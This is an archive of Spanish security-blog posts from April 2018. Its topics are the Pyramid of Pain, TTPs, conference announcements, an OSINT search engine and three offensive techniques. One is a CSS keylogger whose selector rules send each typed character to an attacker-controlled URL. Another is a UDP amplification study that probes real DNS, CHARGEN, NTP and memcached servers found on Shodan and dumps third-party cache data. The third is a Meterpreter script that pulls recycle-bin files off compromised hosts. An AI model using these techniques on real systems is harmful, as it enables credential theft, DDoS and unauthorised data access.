25 abr 2018

#TTPs y la Pirámide del Dolor

En el anterior artículo hablábamos de la importancia del concepto TTP (Tácticas, Técnicas y Procedimientos) a la hora de evaluar nuestra capacidad de detección y respuesta ante amenazas. En este artículo vamos a ahondar en otro de los motivos por los que la utilización de TTPs es crucial, y no es otro que la famosa Pirámide del Dolor.



La Pirámide del Dolor refleja la relación entre diferentes tipos de indicadores que pueden llegar a utilizarse para detectar a un adversario, frente al potencial daño que denegar dichos indicadores puede provocar a los atacantes. También refleja la dificultad de conseguir dicha inteligencia para poder usarla contra el adversario. 

En el nivel más bajo tenemos los hashes, como por ejemplo podría ser el SHA1 de un conocido fichero malicioso. Como todos sabemos, los hashes nos permiten identificar con total exactitud una muestra concreta pero su utilidad es más bien nula, ya que la modificación del hash de un fichero es trivial. Por tanto, su utilidad para un equipo de detección y respuesta es muy limitada. 

En el siguiente nivel tenemos las direcciones IP. Parecido al anterior concepto, cambiar de dirección IP es prácticamente trivial gracias a Tor, proxies, a la utilización de otros sistemas comprometidos, etc. 

Prácticamente igual de sencillo de modificar son los dominios. El mayor problema está en el registro, pero entre dominios comprometidos, los servicios de DNS dinámico, y otras diversas posibilidades un atacante puede modificar sus dominios con relativa facilidad. 

Un piso más arriba están los artefactos de red y host. Aquí entramos en un terreno que empieza a suponer un reto para los atacantes, ya que es prácticamente imposible realizar una actividad realmente significativa sin dejar rastro en los logs. A nivel de host podríamos hablar de ficheros, entradas de registro, cadenas en memoria, etc., y a nivel de red tenemos ejemplos en cadenas de user-agent concretas, patrones de URI que se repiten, tamaños de petición y/o respuesta, y otros. Muchos de estos elementos se pueden modificar, pero comienzan a ser muchos los parámetros que deben ser tenidos en cuenta para ocultar su presencia en nuestros sistemas y redes. 

Denegar el acceso a herramientas es otro paso más en la pirámide del dolor. Observar una y otra vez la misma herramienta te ayuda a generar reglas que te permiten detectarla, aunque el atacante intente realizar cambios sobre ella, modificando su hash e incluso eliminando las firmas para tu propio antivirus. En última instancia, forzamos al atacante a investigar nuevas herramientas o desarrollar una nueva. 

Finalmente, arriba del todo de la pirámide están las Tácticas, Técnicas y Procedimientos. Como hablamos en nuestra anterior entrada, a este nivel estamos definiendo a alto nivel el comportamiento del adversario. Cuando nuestra capacidad y respuesta está a este nivel, hemos sobrepasado el nivel de las herramientas. Como sabemos que el atacante utiliza técnicas de Pass-The-Hash, ya no detectamos herramientas concretas, sino que impedimos por completo el uso de esta técnica y la detectamos de forma automatizada. Ya no nos interesa si el atacante utiliza una muestra de Mimikatz con un hash u otro, si ejecuta Mimikatz en memoria con Powershell, o una herramienta propia que él mismo ha creado. Ahora somos capaces de detectar que un proceso no identificado y no firmado digitalmente por Microsoft ha interactuado con el proceso lsass.exe de una forma no esperada. 

Como vemos, cuanto más alto estemos en la Pirámide del Dolor, más efectivas serán nuestras medidas de cara a crear un entorno altamente hostil para el atacante.

24 abr 2018

Threat Emulation y TTPs

Una parte crucial de la Simulación de Adversarios en ciberseguridad es la utilización de TTP’s que usan los actores maliciosos reales. 

El concepto de TTP origina en la doctrina militar, y es acrónico de Tácticas, Técnicas y Procedimientos. Sin entrar en una descripción concreta de cada uno de los términos, sí que es importante entender a alto nivel dos conceptos clave:
  • Las TTP sirven para caracterizar el modus operandi de un determinado adversario en el plano cyber, y para ello, describen qué es lo que hace y cómo lo hace. 
  • Todos son descriptivos en su naturaleza, pero el nivel de especificación aumenta progresivamente. Así, las Tácticas son menos específicas que las Técnicas, y estas a su vez son menos específicas que los Procedimientos. En cierto modo, se comportan como una pirámide en la que cada nivel sirve para soportar al que tiene justo encima de él. 



Por ejemplo, una Táctica podría ser la obtención de un acceso inicial a la organización sin explotación de vulnerabilidades. Como vemos, es un concepto bastante genérico. Bajando un poco de nivel nos encontraríamos las Técnicas, que describen métodos de conseguir ese objetivo. En nuestro ejemplo, una técnica podría ser el uso de ataques de Spearphishing. Finalmente nos encontramos con los Procedimientos, que describen cómo el actor malicioso realiza la técnica paso a paso. Por ejemplo, el procedimiento podría ser recopilar información del sujeto a atacar, registrar un dominio parecido al de la organización, y mandar un email incluyendo un enlace que lleva a un clon de un portal corporativo con el objetivo de robar credenciales en claro que posteriormente se usarán para el acceso a la organización. 

Una parte esencial de la Simulación de Adversarios consiste en replicar con la mayor precisión posible a un actor malicioso concreto, y esto nos fuerza a conocer sus TTPs y nos restringe dentro de ese comportamiento. Utilizando estos conceptos podemos simular amenazas avanzadas dentro de nuestra organización y evaluar nuestras capacidades de detección y respuesta

En próximas entradas haremos hincapié en otro motivo por el cual es tan importante hacer uso de TTPs para afinar nuestros procedimientos de detección y respuesta ante amenazas.

Fuente: https://blog.zerolynx.com/2018/04/threat-emulation-y-ttps.html

18 abr 2018

Ya puedes registrarte a las Jornadas #X1RedMasSegura 2018!


¡Ya están aquí las Jornadas X1RedMasSegura 2018! Estamos muy felices de poder estar un año más con todos vosotros en la que será nuestra 6ª edición y para la que os tenemos preparadas muchas sorpresas.

Ya se encuentra abierto el registro para las jornadas. Cómo habitualmente, es totalmente gratuito y además contaremos con diversos detalles para todos los asistentes y ponentes, cortesía de nuestros patrocinadores, a los cuales os iremos presentando durante las próximas semanas.


Las plazas son limitadas, por lo que no lo dejes para última hora... ¡y apúntate ya! :)


Las Jornadas X1RedMasSegura 2018 se celebrarán de nuevo en el Salón de Actos de la Escuela Técnica Superior de Ingenieros de Telecomunicación (ETSIT) de la Universidad Politécnica de Madrid, localizada en la "Ciudad Universitaria", campus universitario situado en la zona noroeste de Madrid.

Daremos comienzo el VIERNES 18 de MAYO de 2018 a las 16:30h hasta las 21:00h y continuaremos con otra interesante jornada el SÁBADO 19 de MAYO de 10:00h a 20:00h.

Para facilitar vuestra alimentación e hidratación durante estas frenéticas jornadas, tenemos meriendas y desayunos gratuitos, y comida de tipo catering el sábado también gratuita para TODOS los asistentes y ponentes.



A lo largo de los próximos días iremos confirmando todas las ponencias.

Además, durante la jornada del SÁBADO 19 DEMAYO habrá actividades para niños a partir de 10 años. Por lo que no lo dudes y tráete el sábado a los peques de la casa. Podrán disfrutar de actividades relacionadas con la robótica, la criptografía, etc.

Además, si lo deseáis podréis colaborar altruistamente con la Fundación Mensajeros de la Paz. En la puerta del recinto, y al igual que en las últimas 2 ediciones, se encontrarán voluntarios recogiendo comida no perecedera para ayudar a los más necesitados.


14 abr 2018

@Urjc TechFest Cyber Security 2018


Buenas a todos, como cada año el URJC TechFest ya se acerca, con una interesante novedad que han incorporado en este 2018, dividiendo el congreso en varias jornadas especializadas sobre diferentes temáticas de interés, teniendo un día completo exclusivo para ciberseguridad, que tendrá lugar el próximo viernes 20 de Abril.

Como habitualmente, el congreso es 100% gratuito y cuenta con un plantel de primer nivel, como ya nos tienen acostumbrados desde la Unión de Alumnos del Campus de Móstoles de la URJC, que hace un trabajo excepcional para que año tras año el evento siga siendo un éxito.

Profesionales de la talla de Pablo Burgueño, Pablo González, Angelucho, Daniel González y Jesús Alcalde, entre otros, compartirán su experiencia para que los estudiantes y demás asistentes disfruten a la par que aprendan de sus conocimientos en ciberseguridad:


¡No faltéis!

Más información y registro en: https://www.eventbrite.es/e/registro-technology-festival-urjc-2018-43878061463

11 abr 2018

Keylogger CSS: robando credenciales a través de CSS

En los últimos años las medidas de seguridad de los sitios web han mejorado exponencialmente, gracias al uso de frameworks que permiten automatizar la codificación, evitando así fallos humanos durante los procesos de desarrollo. Metodologías como OpenSAMM también han puesto su granito de arena para mejorar la seguridad global de las aplicaciones web, pero las posibles brechas que pueden presentarse en estos entornos son muchas, y en multitud de ocasiones, desconocidas.

En los procesos de hacking ético sobre aplicaciones web en los que participamos desde ZeroLynx, nos encontramos habitualmente una gran variedad de inyecciones de código (sql, xss, commands, etc.), pero una de ellas siempre nos ha resultado curiosa por encima de las demás, las inyecciones CSS. Aunque en muchas metodologías de auditoría no están representadas como un tipo concreto, suelen identificarse en sitios web desarrollados bajo frameworks como Liferay, Joomla y similar, por descuidos de los maquetadores que de alguna u otra manera dejan expuesto algún lugar (como un input) donde poder alterar los CSS del sitio web. Es en casos concretos como este donde un atacante puede disfrutar de su ingenio para desarrollar un exploit con el que poder sustraer datos críticos.

Recientemente, Max Chehab, de la universidad de Gonzaga, publicaba en su cuenta de Github un interesante Keylogger desarrollado en CSS, con el que poder sustraer las credenciales de un sitio web. Podéis descargar la prueba de concepto a continuación:


La explotación funciona debido a que la página que propone Chehab utiliza frameworks como React.js -  https://reactjs.org 

React sincroniza los valores que están siendo introducidos por los usuarios en un <input>, por ejemplo, cuando introducen unas credenciales de autenticación.

Imaginaros la siguiente porción de código CSS:


input[value$="Z"] {
     background-image: url("http://localhost:3000/Z");
 }




Se trata de un selector de CSS que solo aplica cuando se pulsa la letra "Z". Por otro lado, se establece una imagen inexistente como fondo de pantalla,  haciendo así una petición a una dirección de nuestro control, en la que podríamos tener por ejemplo una API Rest escuchando. Si esto lo ampliamos a todo el abecedario, números y símbolos, tendríamos un "keylogger" funcional recogiendo todas y cada una de las pulsaciones de un usuario. Interesante técnica ¿verdad?




input[value$="Z"] { background-image: url("http://localhost:3000/Z");}


input[value$="e"] { background-image: url("http://localhost:3000/e");}
input[value$="r"] { background-image: url("http://localhost:3000/r");}
input[value$="o"] { background-image: url("http://localhost:3000/o");}
input[value$="L"] { background-image: url("http://localhost:3000/L");}
input[value$="y"] { background-image: url("http://localhost:3000/y");}
input[value$="n"] { background-image: url("http://localhost:3000/n");}
input[value$="x"] { background-image: url("http://localhost:3000/x");}


Por técnicas como esta es especialmente crucial validar los CSS utilizados durante los procesos de desarrollo de nuestras aplicaciones web, sobretodo si provienen de terceros, donde un usuario malintencionado podría dejar keyloggers CSS ocultos para robar credenciales de forma sencilla.

9 abr 2018

Inundaciones UDP: técnicas para tocar los... puertos a un servidor

¿Alguna vez os habéis preguntado cómo se consiguen cantidades de tráfico tan elevadas en los ataques DDoS?¿Mediante una botnet con muchos zombies lanzando peticiones? Bueno, sí, es posible... pero es complicado conseguir el control de tantas máquinas (¿alguien ha dicho IoT?). Una opción más sencilla es hacer uso de técnicas de amplificación de tráfico UDP para poder realizar una inundación de paquetes, necesitando una botnet mucho más pequeña para conseguir el mismo efecto.


Ataque UDP Flood. Lo siento señor usuario legítimo, pero la conexión del sistema está saturada.

Antes de nada, ¿por qué UDP? Porque es un protocolo no orientado a la conexión (no hay un three-way handshake previo), lo que hace que sea fácilmente spoofeable: al no comprobar la IP origen, podemos poner la de la víctima como origen de las peticiones maliciosas (lo que se denomina ataque por reflexión).

Por otro lado, algunos protocolos de aplicación sobre UDP poseen ciertas características (vulnerables por diseño) que generan unas respuestas de un tamaño muy superior a las peticiones. De este modo, si ante una petición de unos 10 bytes se genera una respuesta de 100 bytes, se obtiene una amplificación de tráfico de 10:1. Combinando esto con la reflexión se explica la capacidad de generación de tráfico de estos ataques, ya que se atacan una serie de servidores vulnerables con una IP de origen común: la pobre víctima que va a recibir todas las respuestas a la vez.

Veamos algunos de los ejemplos más comunes (los ratios máximos de amplificación los hemos sacado de aquí):

Domain Name System (DNS) es un protocolo más que conocido. Pese a que originalmente DNS soportaba unas respuestas de un tamaño máximo de 512 bytes sobre UDP, la especificación EDNS0 (un parche publicado en la RFC 2671 en 1999) permitió el envío de mensajes de hasta 4096 bytes.

Por tanto, a partir de una consulta de unos 75 bytes se puede provocar una respuesta de hasta 4096 bytes (para respuestas mayores se obliga a usar TCP), obteniendo un factor de amplificación máximo de aproximadamente de 54:1.

Lo más gracioso (y peligroso) de este protocolo es, que pese a no tener un factor de amplificación muy elevado, está diseñado para estar publicado a Internet, por lo que todos los servidores DNS públicos podrían valer como amplificadores (salvo que cuenten con medidas de protección).

Vamos a mancharnos las manos un poco: Veamos si los DNS de Google podrían valer para amplificar tráfico (spoiler: sí). Para ello, hacemos uso de la herramienta DiG: forzamos el protocolo UDP (+notcp), seleccionamos los NameServers de Google (@8.8.8.8), especificamos que devuelva información de cualquier tipo de registro (any) y probamos diversos dominios (tras varias pruebas, hemos conseguido alcanzar la mayor respuesta con el dominio “re”).




Amplificación 42:1. Invita Google

El Protocolo de Generación de Caracteres (CHARGEN) es un servicio definido en la RFC 864 de 1983. Se diseñó para usos de testing y debugging, pero a día de hoy se utiliza muy poco.

Ante una conexión TCP a una máquina con este servicio (localizado en el puerto 19), esta comienza a enviar caracteres arbitrarios hasta que la conexión se cierra. Si esta conexión es mediante UDP, el servidor envía un número aleatorio (entre 0 y 512) de caracteres cada vez que recibe un datagrama, obteniendo una amplificación de hasta unos 359:1.

Bien, parece un protocolo viejo y absurdo ¿verdad? Pues a día de hoy hay casi 54.500 máquinas con el puerto 19 abierto a Internet están anunciadas en Shodan (por suerte, no todos en UDP), así que... ¡Vamos a jugar un poco! Seleccionamos cualquier máquina con el puerto 19 UDP abierto, le lanzamos un netcat, escribimos una “a” (se puede enviar únicamente un retorno de carro, pero la imagen siguiente no quedaría tan chula), pulsamos enter... y lo que pasará a continuación os sorprenderá.



Amplificación 133:1. Not bad.

Quote Of The Day (QOTD) QOTD es un protocolo definido en la RFC 865 de 1983 que básicamente devuelve una cita ante una conexión al puerto 17 TCP o UDP (sí, parece que ese año se lucieron).

¿Existen servidores con el puerto abierto a Internet? Sí, unos 35.250 (Shodan dixit)... pero afortunadamente QOTD tiene un factor de amplificación menor que CHARGEN (hasta unos 140:1).
Vuelta a Shodan, seleccionamos un servidor con el puerto 17 UDP abierto, abrimos un netcat y enviamos varios retornos de carro para ver qué frases devuelve el servidor. Observamos que la variedad de las frases es muy limitada, y en otros de los servidores publicados en Shodan parecen ser las mismas. Por tanto, los resultados de este ataque son muy modestos... no llega a 5:1.




Amplificación 5:1. No todo va a ser rock’n’roll, ¿no?

Network Time Protocol (NTP) definido en la RFC 1305 (en el año 1992), es un protocolo utilizado para sincronizar los relojes de las máquinas conectadas a Internet a través del puerto 123. Entre otras funciones, NTP ofrece una de monitorización denominada “monlist”, que envía una lista con las últimas 600 IPs que han hecho una petición de hora al servidor. De este modo, se puede llegar a generar un factor de amplificación de hasta 557:1.

No obstante, los servidores NTP posteriores a la versión 4.2.7 llevan esta funcionalidad deshabilitada por defecto, y hay que modificar un fichero de configuración para volver a establecerla (del mismo modo, en versiones anteriores puede deshabilitarse a través del mismo fichero).

Nuevamente, ¡hora de jugar! Volvemos a Shodan, esta vez buscando máquinas con el puerto 123 abierto y con versiones antiguas del servidor NTP. Nos llama la atención que existan versiones 4.1.0 pululando por ahí, así que nos centraremos en ellas. Tras probar varios servidores damos con uno que, bueno... Devuelve un mensaje corrupto/incompleto. Lo bueno es que este mensaje, aunque corrupto, es muchísimo más grande que la petición: ¡amplificación conseguida!



Amplificación 105:1. Mejoraremos esta cifra en futuros posts, promesa.

En futuros posts hablaremos un poco más en detalle de este ataque, que permitió alcanzar las mayores cantidades de tráfico en ataques DDoS de la historia. No obstante, ha sido enormemente eclipsado por...

Memcached el chico malo de este año. El ataque que ha reventado el récord de tráfico conseguido dos veces en una misma semana: la vulnerabilidad ‘memcrashed’.

Memcached es un sistema diseñado en 2003, el cual realiza un cacheo en la memoria RAM de distintos datos cuyo tiempo de acceso es elevado. Este almacenamiento se reparte entre varios servidores en forma de tabla hash distribuida, a los cuales se accede a través del puerto 11211. El problema viene en que este sistema está diseñado para ser desplegado en redes privadas, y nunca publicado a Internet.

Por una última vez, volvemos a darnos un paseo por Shodan. En este caso buscamos máquinas con el puerto 11211 abierto (¡86.739!). “Desgraciadamente” vamos a tener que realizar bastantes intentos para dar con una máquina que responda por UDP a una petición para memcached. De nuevo, usaremos netcat para enviar estas peticiones. Para ello, usamos un comando muy visto por Internet para ver si un servidor es vulnerable a memcrashed:



Amplificación 21,5:1. Decepción :(

¿Esto es el terrible memcrashed? No nos lo podíamos creer, así que seguimos investigando hasta dar con una función interesante. Es posible añadir un argumento al comando “stats”, en específico, es posible pedir las estadísticas de los objetos almacenados en memoria en ese momento con el argumento “items”.

En la captura anterior se puede ver que únicamente hay un objeto almacenado en memoria en ese momento (“curr_items 1”), pero ¿puede haber algún servidor memcached con una gran cantidad de objetos almacenados?


Por supuesto.

Veamos las estadísticas de los objetos:



Aquí vemos de nuevo que hay la friolera de 3732 items almacenados en memoria. Vemos también un 2, que es el “slab_id” (zona de memoria) donde están almacenados los objetos. Con este valor, es posible obtener todos los objetos de dicha posición de memoria con el comando “stats cachedump 2 0” donde el 0 indica que no se especifica un límite a la hora de devolver los datos de la memoria.



 Amplificación 3.479:1. Boom

¡Y esto no es todo! Como se ve en la captura anterior “stats cachedump” devuelve una lista de claves, que pueden llegar a tener un tamaño de valor muy elevado. Por tanto, tras realizar una pequeña búsqueda, encontramos un servidor que tiene una clave con un valor de un tamaño considerable, el cual obtenemos mediante el comando “get <clave>”:


Me encanta el olor a hacked (ajeno) por las mañanas

Y esto no es nada, el protocolo establece un límite en la respuesta que puede devolver... de 1 o 2MB. Esto podría dar unas amplificaciones superiores a 20.000:1. Según algunos investigadores, este ataque podría llegar incluso a 51.000:1... ¡Casi nada!

Y hasta aquí llegamos esta vez. Espero que os haya gustado este pequeño estudio. Me gustaría acabar con una pequeña reflexión, aunque esté ya muy manida: en todos los ataques hemos visto máquinas vulnerables en España e Hispanoamérica así que si tenéis servidores públicos y estáis leyendo este post; por favor, actualizadlos, analizad sus servicios publicados a Internet y eliminad aquellos que sean inseguros... No facilitéis las cosas a aquellos que quieren hacer un mal uso de la red.

¡Saludos!

Artículo cortesía de Luis Vazquez (@macgruap)

4 abr 2018

OSINT Social

Hola comunidad que sigue las noticias de seguridad informática y pentesting en flu-project.com. En primer lugar quiero agradecer a Juan Antonio Calles por haberme dado la posibilidad de publicar mi proyecto en este blog.

El proyecto que voy a presentarles es un buscador llamado "Osint Social", que ha sido diseñado mediante Google Custom Search para demostrar las fugas de datos que la gente o compañías filtran en la red.

Pueden acceder al buscador desde el siguiente enlace: 



Si bien su apariencia es muy simple, cuenta con una gran potencia a nivel de automatización.

Este buscador se encuentra en permanente evolución y desarrollo. Ahora recoge información de fuentes que provienen de 10 orígenes diferentes:

  1. Facebook
  2. Twitter
  3. Telegram
  4. Reddit
  5. Instagram
  6. Youtube
  7. Linkedin
  8. plus.google.com
  9. cloudapp un server de la nube
  10. groups.google.com
A continuación se muestran algunas búsquedas interesantes para testearlo a modo de ejemplo:

Osint de paginas web o compañías:

  • "fluproject"

 "flu-project.com"

  • "fbi"

  • "nsa"


Osint de personas: 

  • "Juan Antonio Calles"
  • "Donald Trump"

  •  "Papa Francisco" 

Términos como "hacking" o "pentesting" también aparecen. Está también basado en un servicio de la nube cloudapp así que también pueden buscar ficheros PDF }:)



El motor aún no cuenta con una API y una aplicación para explorar de forma sencilla como con el cliente de Shodan.io o Censys, ¡pero nada dice que deparará el futuro!. Así que les invito a que lo prueben y me den su opinión.

Saludos

Artículo cortesía de a.k.a Rootkit

2 abr 2018

Garbage Collector para recoger la basura en Metasploit


Con el reciente Rooted Lab de Metasploit, el cual se ha celebrado por sexto año, y se encuentra en un estado actualizado y mejorado, he querido compartir un script el cual tengo cariño. El script se denominó Garbage Collector y se puede descargar desde mi Github. La idea surgió en una conversación hace años con mi amigo Silverhack o Juan Garrido. La idea era la de un módulo de post-explotación creado para, a través de una sesión de Meterpreter, poder descargar todos los archivos y carpetas de todos los usuarios de un sistema comprometido.

En algunas ocasiones, los usuarios dejan todo tipo de documentos e información en la papelera de reciclaje, por lo que puede ser un punto interesante dónde buscar documentos o archivos jugosos. La papelera de reciclaje no deja de ser un punto interesante y de ubicación en el disco duro y el sistema de archivos. Esta es una de las razones por las que me decidí a llevar a cabo esta pequeña utilidad dentro de Meterpreter, sobretodo, pensando en una fase de recopilación de información, una vez comprometida la máquina.

Los scripts de Meterpreter tienen 3 partes bien diferenciadas. En primer lugar, podemos encontrar la parte de “parseo” de opciones o parámetros con los que se ejecuta el script. La segunda parte es la de comprobación que el script puede ejecutarse en un entorno o sesión sobre la que se está ejecutando, es decir, si la sesión es de un Meterpreter de Linux y el script está hecho para sacar provecho a una sesión de Meterpreter en Windows, el script puede finalizar su ejecución. En tercer lugar, la zona de ejecución. En esa zona de ejecución se ejecuta la lógica y funcionalidad del script.

Como se puede ver en la imagen, la primera parte es comprobar la plataforma dónde se ejecutará el script. Si, en este caso, la plataforma no es Windows, el script finalizará. Justo después, se puede ver la asignación y explicación de los parámetros. Para ello se crea un objeto Arguments. Queda claro, que cuando ejecutemos run garbagecollector –h, se mostrará por pantalla el mensaje Help Menu y nos mostrarán la ayuda del script, ese código se encontrará en la zona de ejecución, la veremos más adelante.

Los argumentos son “parseados”, como si fuera un bucle. Por cada parámetro introducido se itera con 3 variables opt, idx y val. El script presenta dos parámetros funcionales: -g y –o. En el caso del parámetro –g se realizará una descarga recursiva de ficheros y carpetas que haya en la papelera de reciclaje. En el caso del parámetro –o, solo se descargarán ficheros y no carpetas.


En el Github se puede encontrar el resto de funciones utilizadas para completar el script y su funcionalidad. En esta imagen, solo se muestra lo que sería el programa principal.

Ahora, se muestra una prueba de concepto del script en funcionamiento. Hay que tener en cuenta que si la sesión sobre la que se lance el script está en un contexto elevado se podrá descargar las papeleras de reciclaje de todos los usuarios del sistema. En caso de que no, se puede tener algunos problemas para acceder a las papeleras de otros usuarios.

En la siguiente imagen, se puede ver como se recopila los ficheros y carpetas de un usuariod el sistema. Se diferencia entre ficheros y carpetas. Se van descargando y serán accesibles desde la máquina del atacante, ya que estos se descargan mediante el script.


Como se puede ver en la siguiente imagen, los ficheros son descargados. En este caso, existen dos usuarios en el sistema (ID 1000 y 1001) que tienen archivos en la papelera de reciclaje. Tal y como se puede ver se puede recuperar, tanto el contenido del fichero como el nombre de la ruta del fichero.



Una funcionalidad hecha que puede ayudar a la recopilación de información en la máquina en la fase de post-explotación, por lo que os recomendamos que metáis el script en vuestra mochila en el pentesting. Todavía no está en el framework oficial de Metasploit, por lo que si queréis utilizarla os dejo el Github.